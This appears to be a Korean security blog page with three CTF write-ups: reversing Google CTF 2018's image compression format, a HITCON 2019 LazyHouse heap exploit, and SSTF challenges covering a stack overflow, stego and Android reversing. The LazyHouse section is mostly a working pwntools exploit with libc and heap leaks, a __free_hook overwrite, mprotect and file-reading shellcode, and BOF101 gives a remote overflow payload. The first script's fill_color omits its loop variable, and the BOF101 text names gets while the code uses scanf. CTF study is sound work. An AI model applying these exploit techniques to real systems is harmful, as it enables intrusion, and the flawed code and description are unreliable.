Introduction

When we peek at file given by the challenge, the file starts with GCTF(which might mean google ctf), and we don't find any noticable information from this file. So for more information, we tried to send some random data to remote server.

a
Expected P6 as the header

The server expects us to send P6 as the header. So we tried to send P6 and some random data.

P6
a
Expected width and height

The server expects us to send width and height, so we sent it.

P6
300 300
a
Expected 255

Now the server expects 255, so we sent 255 instead of a. Then the server starts to receive data. So we tried to limit the width and height to 1 and send some random data.

[+] Opening connection to proprietary.ctfcompetition.com on port 1337: Done
[DEBUG] Sent 0x3 bytes:
    'P6\n'
[DEBUG] Sent 0x4 bytes:
    '1 1\n'
[DEBUG] Sent 0x4 bytes:
    '255\n'
[DEBUG] Sent 0x3 bytes:
    '\x11' * 0x3
[DEBUG] Received 0x10 bytes:
    00000000  47 43 54 46  01 00 00 00  01 00 00 00  00 11 11 11  │GCTF│····│····│····│
    00000010
[*] Closed connection to proprietary.ctfcompetition.com port 1337

It receives 3 bytes and prints out data.

Observation

We tried to figure out what the result that the server gives means. By testing several test data, we figured out some information.

  1. The server receives $3 \times width \times height$ length data.

  2. The result contains GCTF at start, 4 bytes which indicate width, 4 bytes which indicate height, and the result data after 12 bytes.

    So we guessed that the server receives 24-bit color mapped picture, compress that data, and prints out GCTF+width+height, and result.

Analysis

We tried giving the server random data of width 2, height 2. Then, we figured out some rules of how the server compresses our data.

Input : ffffffffffffffffffaaaaaa
Output : 
47435446
02000000
02000000
08ffffff
00aaaaaa

Input : ffffffaaaaaaffffffffffff
Output :
47435446
02000000
02000000
02ffffff
00aaaaaa

Input : ffffffaaaaaaffffffaaaaaa
Output : 
47435446
02000000
02000000
0affffff
00aaaaaa
00aaaaaa

Input : aaaaaaffffffaaaaaaffffff
Output : 
47435446
02000000
02000000
0aaaaaaa
00ffffff
00ffffff

Input : aaaaaaffffffffffffffffff
Output : 
47435446
02000000
02000000
01ffffff
00aaaaaa

Input : ffffffffffffaaaaaaffffff
Output : 
47435446
02000000
02000000
04ffffff
00aaaaaa

Input : ffffffffffffaaaaaaaaaaaa
Output : 
47435446
02000000
02000000
0cffffff
00aaaaaa
00aaaaaa

The input and output are expressed in hex values, and output is split with newline after every 4 bytes. We figured out the result follows the rules:

  1. 4 bytes are indexed with 1, 2, 4, 8 in order.
  2. Choose dominant color. If the number of dominant color is same with the number of second dominant color, choose the color which appears faster.
  3. Sum up indexes of non-dominant colors. For example, if input is ffffff/ffffff/aaaaaa/aaaaaa, then we get dominant color ffffff, the sum of indexes is 4+8=0xc.
  4. Concatenate the summation we calculated above next to the dominant color. Then we reverse the bytes and print out to result.
  5. We now concatenate a null byte next to non-dominant color. Then we reverse the bytes and print out to result. We repeat this task sequentially for every non-dominant color.

We also tried other data and we figured out if two color data is close enough(up to about 0x12 difference in color bytes), then they are considered as same color.

After we figured out the compression rules of 2 x 2 images, we started to test 4 x 4 images. Then, we figured out the following rules.

  1. 4 pieces(which are 2 x 2 images) are indexed with 1, 2, 4, 8 in order.
  2. Check these pieces if one piece is filled with a single color. If there are no such piece, print 0x0f and follow the rules of 2x2 in order.
  3. If at least one piece is filled with a single color, sum up indexes of pieces that are not consisted of a single color. Then, we print the reverse of color+sum, and we follow the rules of 2x2 in order, excluding pieces of single color.

Next we expanded our test data to 8 x 8, and we figured out that the compression algorithm is in recurrence relation(with base condition with 2 x 2 piece).

Rules

Basic condition

  1. If two colors have difference lesser than 0x12 in their bytes, they are considered as same color.

Rules in 2 x 2

  1. 4 colors are indexed with 1, 2, 4, 8 in order
  2. Choose one dominant color. Next, we write that color in front, with their bytes reversed.
    ex) If the dominant color is 0x343536:
    If the dominant color is at 2, 4, then the compression result is 0x09363534. (0x09 = 1+8)

Rules in 4 x 4

  1. 4 pieces(2 x 2 images) are indexed with 1, 2, 4, 8 in order.

  2. We inspect 4 pieces and check if there is a piece filled with a single color. If such piece doesn't exist, add 0x0f to result.

  3. If there are at least one piece filled with a single color, sum up numbers of indexes of pieces that are not filled with single color. For example, if 2, 4 pieces are not filled with a single color, the result is 0x09.

    ex) 0x11 0x11 0x33 0x33

      0x11  0x11  0x33  0x55
      0x55  0x55  0x77  0x77
      0x99  0x99  0xbb  0xbb

    (I wrote one byte assuming 3 bytes of color are all same. (0x11 = 0x111111))
    1) If there is a piece filled with a single color : at index 1 :arrow_right: 0x0e111111 (If there is no such piece, just add 0x0f)
    2) We checked the first piece is filled with a single color : pass.
    3) dominant : 0x33 : 0x08333333

     non dominant : 0x00555555

    4) dominant : 0x55 : 0x0c555555

     non dominant : 0x00999999
     non dominant : 0x00999999

    5) dominant : 0x77 : 0x0c777777

     non dominant : 0x00bbbbbb
     non dominant : 0x00bbbbbb

Rules in n x n

  1. If n is not 2^k, we fill empty spaces with 0x000000 padding.
  2. We now split the data with 2 x 2, follow the recurrence relation defined in 4 x 4 rules, with base condition rules defined in 2 x 2 rules.

Solve

We now know how the compression algorithm works. Now we write decompress code and get the flag.

from pwn import *

data = open("flag.ctf", "rb").read()

seek = 12

# color_data[height][width]
color_data = [[0x00 for i in xrange(1024)] for j in xrange(1024)]

# fill color from sx(width), sy(height) to tx, ty
def fill_color(sx, sy, tx, ty, color):
        for j in xrange(sy, ty):
            color_data[j][i] = color

# do recursion from sx(width), sy(height) with size(current block size)
def do_recursion(sx, sy, size):
    global data
    global seek
    global color_data
    # base condition
    if size == 2:
        byte_filter = bin(ord(data[seek]))[2:]
        byte_filter = "0"*(4-len(byte_filter)) + byte_filter
        seek += 1
        byte_color = u32(data[seek:seek+3]+"\x00")
        seek += 3
        for i in xrange(4):
            if byte_filter[3-i] == '1':
                color_data[sy+i/2][sx+(i%2)] = u32(data[seek+1:seek+4]+"\x00")
                seek += 4
            else:
                color_data[sy+i/2][sx+(i%2)] = byte_color

    # recurrence relation
    else:
        byte_filter = bin(ord(data[seek]))[2:]
        byte_filter = "0"*(4-len(byte_filter)) + byte_filter
        seek += 1
        if byte_filter == "1111":
            do_recursion(sx, sy, size/2)
            do_recursion(sx+size/2, sy, size/2)
            do_recursion(sx, sy+size/2, size/2)
            do_recursion(sx+size/2, sy+size/2, size/2)
        else:
            byte_color = u32(data[seek:seek+3]+"\x00")
            seek += 3
            for i in xrange(4):
                if byte_filter[3-i] == '1':
                    do_recursion(sx+(i%2)*size/2, sy+(i/2)*size/2, size/2)
                else:
                    fill_color(sx+(i%2)*size/2, sy+(i/2)*size/2, sx+(i%2)*size/2+size/2, sy+(i/2)*size/2+size/2, byte_color)

do_recursion(0, 0, 1024)

bmp_header = "42 4D B6 FC 0A 00 00 00 00 00 36 00 00 00 28 00 00 00 58 02 00 00 90 01 00 00 01 00 18 00 00 00 00 00 80 FC 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00".replace(" ", "")
bmp_header = bmp_header.decode("hex")

# result is color data
with open("result.bmp", "w") as f:
    f.write(bmp_header)
    for i in xrange(400):
        for j in xrange(600):
            dat = hex(color_data[400-i][j])[2:]
            if len(dat) % 2 == 1:
                dat = "0"+dat
            dat = dat.decode("hex")
            assert len(dat) <= 3
            dat = "\x00"*(3-len(dat))+dat
            f.write(dat)

Flag : CTF{P1c4s0_woU1d_B3_pr0UD}

'보안 > CTF Writeups' 카테고리의 다른 글

HITCON 2019 Quals LazyHouse Writeup  (1) 2021.01.19
SSTF Hacker's Playground Write-up  (0) 2021.01.19

https://github.com/candymate/pwn/tree/master/HITCON%202019%20Quals/lazyhouse

Description

My teammate, Lays, wants a house. Can you buy one for him?
flag: /home/lazyhouse/flag

nc 3.115.121.123 5731

Analysis

The problem is just a simple menu heap challenge, with some seccomp rules. (like execve being blocked) In this challenge, we can allocate, free, print chunks, as well as two chances of modification + 32 byte overflow, and 1 malloc chance.

The allocation of chunk needs size and money, where size is bigger than 0x7f, and money is bigger than 218*size. The allocation uses calloc to get chunk, so it doesn't use tcache in allocation. Moreover, the number of entries in chunk list is 8, so we can get 8 different chunks in maximum.

Freeing chunks refunds money of size*64, and it deletes chunk from the bss list, so it's impossible to free same chunk multiple times.

We can print chunks with write function if the chunk is in the house list. Also, we have 2 chances to upgrade house, which allows us to modify content of chunk + 32 bytes of heap overflow. We can also allocate chunk with size 0x220, with malloc once.

Bug

There is a bug in buying house, which allows us to buy houses with negative size. In buying house, it compares unsigned size with signed 0x7f, so we can give size with negative value. However, we need to ensure that 218*size is lesser than our money, since it performs unsigned comparison.

Also, there is an intended bug in upgrading house, which allows us to do 32 byte heap overflow twice.

Exploit

Money cheat

Because unsigned size value we give in buying house is compared with signed 0x7f, we can give negative size to buy house, and sell it to increase our money. So we can make our money super large by buying house with proper size, and selling it.

# money cheat
polluted_size = -(((219 << 64) / 218) % (1 << 64))
r.sendlineafter("choice: ", "1")
r.sendlineafter("Index:", "0")
r.sendlineafter("Size:", str(polluted_size))
r.interactive()
sell_house(0)

Libc and tcache struct address leak by chunk overlapping 2

By using chunk overlapping 2 (Link), we can leak libc and heap address. Two chunks are overlapped for later processes.

# filling tcaches
for i in xrange(7):
  buy_house(0, 0x88, "Z")
  sell_house(0)
for i in xrange(7):
  buy_house(0, 0x98, "Z")
  sell_house(0)
for i in xrange(7):
  buy_house(0, 0x1f8, "Z")
  sell_house(0)

buy_house(0, 0x88, "A")
buy_house(1, 0x98, "B")
buy_house(2, 0x418, "C") # chunk to be overlapped
buy_house(3, 0x418, "D") # chunk to be overlapped
buy_house(4, 0x98, "E")
buy_house(5, 0x88, "F") # chunk to block coalescing

sell_house(4)
upgrade_house(0, "G"*0x88+p64(0xa0+0x420+0x420+1))
sell_house(1)

# leak libc address
buy_house(1, 0x98, "H") # size is 0x98 to write arena address in 2

libc_leak = u64(show_house(2)[0:8])
log.success("libc leak addr : "+hex(libc_leak))

libc_base = libc_leak - 0x7fb657832ca0 + 0x7fb65764e000
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

# cleanup
sell_house(5)
sell_house(1)
sell_house(0)

# leak heap address
payload = "K"*(0x90+0xa0-8)
payload += p64(0x31) # fake size 0x31 (2nd entry of tcache entries)
payload += "L"*0x418
payload += p64(0x21) # fake size 0x21 (1st entry of tcache entries)
payload += "L"*0x18
payload += p64(0x401)
buy_house(4, 0x90+0xa0+0x420+0x420-8, payload)

# free two chunks to put them in tcache struct
sell_house(2) # to 0x31 entry
sell_house(3) # to 0x21 entry

# leak tcache struct addr (actually tcache key in 2.29)
heap_leak = u64(show_house(4)[0x138:0x140])
log.success("heap leak addr : "+hex(heap_leak))
chunk_base = heap_leak-0x10

House of Lore to overwrite free hook

In tcache struct, tcache count list and tcache entries are adjacent. Because of that, we can create fake chunk structure in tcache struct, by putting 1st and 2nd tcache entry by freeing chunks size 0x20 and 0x30, and fake size (in this case, 0x301)by freeing chunks size 0x3a0 and 0x3b0. After house of lore, tcache entries will be overwritten, so that we can do arbitrary write by buying super house.

# house of lore
buy_house(4, 0x90+0xa0+0x420-8+0x10, "M")
buy_house(5, 0x1f8, "N")
buy_house(6, 0x1f8, "O")

sell_house(5)
buy_house(5, 0x4b8, "P")

payload = "Q"*(0x90+0xa0-8+0x10)
payload += p64(0x421) # restore chunk size
payload += p64(chunk_base+0x40) # fake chunk 2
payload += "R"*0x410
payload += p64(0x201) # for checking (looks like size)
payload += p64(libc_leak-96+592) # fake chunk 1
payload += p64(chunk_base+0x40) # fake chunk 1
upgrade_house(4, payload)

buy_house(1, 0x1f8, "S")

# pre process for super size house
buy_house(0, 0x217, "PLUS")
sell_house(0)

# fake size in tcache struct (0x301)
buy_house(0, 0x398, "Z")
sell_house(0)
for i in xrange(3):
  buy_house(0, 0x3a8, "Z")
  sell_house(0)

# overwrite tcache entries
target = free_hook
log.info ("target: " + hex(target))
payload = ""
payload += "/bin/sh\0"+p64(target)*17*2 
buy_house(0, 0x1f8, payload)

Call mprotect and run shellcode

Overwrite __free_hook to call mprotect, then run shellcode.

xchg_gadget = libc_base + 0x0000000000158023
call_mprotect = libc_base + 0x0000000000117590
how_gadget = libc_base + 0x00000000001080fc
push_rdi_ret = libc_base + 0x000000000004c745
log.info ("b * {}".format (hex(how_gadget)))
ss = p64(how_gadget)
buy_super_house(ss)

pay = p64(call_mprotect) + p64(heap_leak + 0x4ff0) 
context.arch = 'amd64'
context.os = 'linux'

sc = asm(shellcraft.amd64.open ("/home/lazyhouse/flag", 0))
sc += asm(shellcraft.amd64.read ('rax', 'rsp', 100))
sc += asm(shellcraft.amd64.write (1, 'rsp', 100))
pay2 = p64(heap_leak+0x4220) + "\x90" * 0x20 + sc
print len (pay2)
buy_house (2, 0x850, "ASDF")
buy_house (7, 0x200, pay)
buy_house (3, 0x200, pay2)

r.sendafter("choice: ", "3".ljust(0x20, "b"))
r.sendafter("Index:", "7".ljust(32,"a"))
#sell_house(0)
sell_house (3)
r.interactive()

Full code

Link

'보안 > CTF Writeups' 카테고리의 다른 글

Google CTF 2018 Proprietary Format write-up  (0) 2021.01.19
SSTF Hacker's Playground Write-up  (0) 2021.01.19

BOF101

#include <stdio.h>
//#include <fcntl.h>
//#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void printflag(){ 
    char buf[32];
    FILE* fp = fopen("/flag", "r"); 
    fread(buf, 1, 32, fp);
    fclose(fp);
    printf("%s", buf);
    fflush(stdout);
}

int main() {
    int check=0xdeadbeef;
    char name[140];
    printf("printflag()'s addr: %p\n", &printflag);
    printf("What is your name?\n: ");
    fflush(stdout);
    scanf("%s", name);    
    if (check != 0xdeadbeef){
        printf("[Warning!] BOF detected!\n");
        fflush(stdout);
        exit(0);
    }
    return 0;
}

프로그램이 매우 간단하다. gets로 인한 스택 버퍼오버플로우가 존재한다.
프로그램에서는 check 지역 변수를 0xdeadbeef로 그대로 유지하는지 체크한다. 버퍼오버플로우를 내고 check를 0xdeadbeef로 덮어준 뒤 return address를 주어진 printflag의 주소로 덮으면 된다.

버퍼의 크기는 140, check는 버퍼 다음에 있고, 그 뒤는 saved rbp, return address다. 따라서 아래와 같이 페이로드를 구성하면 된다.

#!/usr/bin/python

from pwn import *

# p = process("./bof101")
p = remote("bof101.sstf.site", 1337)

leak = int(p.recvline()[len("printflag()'s addr: ")+2:-1], 16)
log.success("leak : ", leak)
p.sendlineafter(": ", "A"*140+p32(0xdeadbeef)+p64(0)+p64(leak))

p.interactive()

My Stego

문제에서 ML 소스코드가 주어진다. 해당 소스코드를 보면 숨길 파일을 Sys.argv.(3) 으로 받아서 다음과 같이 파일을 숨김을 확인할 수 있다.

for y = 0 to img#height - 1 do
    for x = 0 to img#width - 1 do
        let color = img#get x y in
        let r = color.r - (color.r land 1) + ((color.g lxor color.b lxor df#fread) land 1) in
        img#set x y {r=r;g=color.g;b=color.b}
    done;
done;

즉, 파일에서 1 비트씩 읽어와 이미지의 Red 채널에 xor로 숨기는 것을 확인할 수 있다. 따라서 아래 코드를 통해 파일을 얻을 수 있었다. (해당 문제가 튜토리얼 문제라서 풀이 코드가 주어졌었는데 해당 코드를 사용하였습니다.)

#!/usr/bin/python

from PIL import Image
import numpy as np

image = Image.open("challenge.bmp")

r, g, b = map(np.array, image.split())

binstr = "0b"
for a, b, c in zip(r, g, b):
  for i in range(0, image.width):
    binstr += str(int(a[i] ^ b[i] ^ c[i]) & 1)

with open("out", "wb") as f:
  f.write(("%x"%eval(binstr)).decode('hex'))

Vault 101

안드로이드 문제로 apk 파일이 주어졌다. https://github.com/skylot/jadx 를 활용하여 앱을 디컴파일 하였다.

MainActivity에서 사용자가 넣은 입력을 받아 플래그인지 아래 루틴에서 체크한다.

@Override // b.c.a.b
public boolean a(String str) {
    try {
        int i = this.f874a + 1;
        this.f874a = i;
        if (i > 3) {
            Class.forName(c.d(";È\u0003p¯…4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
            return false;
        } else if (str == null) {
            return false;
        } else {
            byte[] b2 = b.c.a.a.b((byte[]) Class.forName(c.d(".®$\u000fß1Ç\u0003?ڙ6ʶ\"", 1451800421)).getMethod(c.d("7Ì£\u0002rØ0X", -552283301), new Class[0]).invoke(str, new Object[0]));
            Object invoke = Class.forName(c.d("aogrfle¯}qjì.Cbsl35", 823239689)).getMethod(c.d("$OX{Í\u0010", -2050089752), Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(c.d(";HCp¯\u0005tå¶ohõ%LRtó", -730536752)).getDeclaredField(c.d("\u0014ø¡\u0014", -1215097919)).get(null)).invoke(null, b2, Class.forName(c.d("pç\u000bfÆ´!\rÌ!BZ?Ë\u000egÌëq", -1393972808)).getDeclaredField(c.d("\u001aä‰\u0017Yï\u0004", 1778992991)).get(null));
            Object newInstance = Class.forName(c.d("~jxe\u0005remY:Xrfb`c", 1356052543)).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
            Object invoke2 = Class.forName(c.d("$Í\u001efƞ4\u0007Ž:EH Í\u000e:ê˜>]ˆ-_", -248372756)).getMethod(c.d("&DÇ\u0003ÿ\u0016xg¬", 64103114), (Class) Class.forName(c.d("/BNt\u001fqç‚`ó1F_pÓ", -401453852)).getDeclaredField(c.d("\u0001ò\u0004D", 195131734)).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
            return ((Boolean) Class.forName(c.d("zhs`-ddmu.Rwb`kf", -754317293)).getMethod(c.d("tø\u001auÅ®", 528601528), Class.forName(c.d("oâœ5…º!OÈzä\u0016oæ‰ ", -1620091986))).invoke(invoke2, newInstance)).booleanValue();
        }
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

코드를 보면 메소드 이름이나 클래스 이름들이 obfuscated되어 있음을 확인할 수 있다. 해당 이름들을 확인하기 위해 각각에 대해 c.d를 실행하였다. (Java 환경이 세팅되어 있지 않아 손으로 일일이 실행하여 얻었다)

@Override // b.c.a.b
public boolean a(String str) {
    try {
        int i = this.f874a + 1;
        this.f874a = i;
        if (i > 3) {
            Class.forName(c.d(";È\u0003p¯…4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
            return false;
        } else if (str == null) {
            return false;
        } else {
            byte[] b2 = b.c.a.a.b((byte[]) Class.forName(java.lang.String).getMethod(getBytes, new Class[0]).invoke(str, new Object[0]));
            Object invoke = Class.forName(android.util.Base64).getMethod(encode, Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(null, b2, Class.forName(android.util.Base64).getDeclaredField(NO_WRAP).get(null));
            Object newInstance = Class.forName(java.lang.String).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
            Object invoke2 = Class.forName(android.content.Context).getMethod(getString, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
            return ((Boolean) Class.forName(java.lang.String).getMethod(equals, Class.forName(java.lang.Object)).invoke(invoke2, newInstance)).booleanValue();
        }
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

b.c.a.a.b를 실행한 뒤 해당 결과를 base64로 인코딩하고 값을 R.string.magic과 비교하는 것을 확인할 수 있다. b.c.a.a.b의 루틴은 아래와 같다.

public static byte[] b(byte[] bArr) {
    try {
        Object invoke = Class.forName(javax.crypto.Cipher).getMethod(getInstance, Class.forName(java.lang.String)).invoke(null, AES/CBC/PKCS5Padding);
        Object newInstance = Class.forName(javax.crypto.spec.SecretKeySpec).getConstructor(Class.forName(c.d("NI", -1666818412)), Class.forName(java.lang.String)).newInstance(a.class.getDeclaredFields()[0].get(null), AES);
        Object newInstance2 = Class.forName(javax.crypto.spec.IvParameterSpec).getConstructor(Class.forName(c.d("\u001aã", -1333368352))).newInstance(a.class.getDeclaredFields()[0].get(null));
        Object obj = Class.forName(javax.crypto.Cipher).getDeclaredField(ENCRYPT_MODE).get(null);
        Class.forName(javax.crypto.Cipher).getMethod(init, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null), Class.forName(java.security.Key), Class.forName(java.security.spec.AlgorithmParameterSpec)).invoke(invoke, obj, newInstance, newInstance2);
        return (byte[]) Class.forName(javax.crypto.Cipher).getMethod(doFinal, Class.forName(c.d("_Á", -251609689))).invoke(invoke, bArr);
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

위 코드를 보게되면a.class.getDeclaredFields()[0]를 받아와 AES의 key와 IV로 사용하는 것을 확인할 수 있다. 해당 값은 VaultService.onCreate에서 세팅하는데, R.array.kind_of_magic에서 각 원소들을 Base64 디코딩을 한 뒤 첫번째 글자들을 받아와 이를 a.class.getDeclaredFields()[0]에 세팅한다. 해당 값들은 아래와 같다.

PARK
KOREAN
nut
JACK
3
BESTBUY
JACK
queen
yelp
music
GOLF
visa
KOREAN
zip
GOLF
2

첫번째 글자들을 연결한 PKnJ3BJqymGvKzG2가 IV와 key에 해당되게 된다. 얻은 IV와 key를 이용하여 AES decrypt를 진행하면 플래그를 획득할 수 있다.

enc = magic
iv = "PKnJ3BJqymGvKzG2"
cipher = AES.new(iv, AES.MODE_CBC, iv )
print cipher.decrypt( magic )

SCTF{53CUr17Y_7Hr0U6H_085CUr17Y_15_N07_3N0U6H}

'보안 > CTF Writeups' 카테고리의 다른 글

Google CTF 2018 Proprietary Format write-up  (0) 2021.01.19
HITCON 2019 Quals LazyHouse Writeup  (1) 2021.01.19

+ Recent posts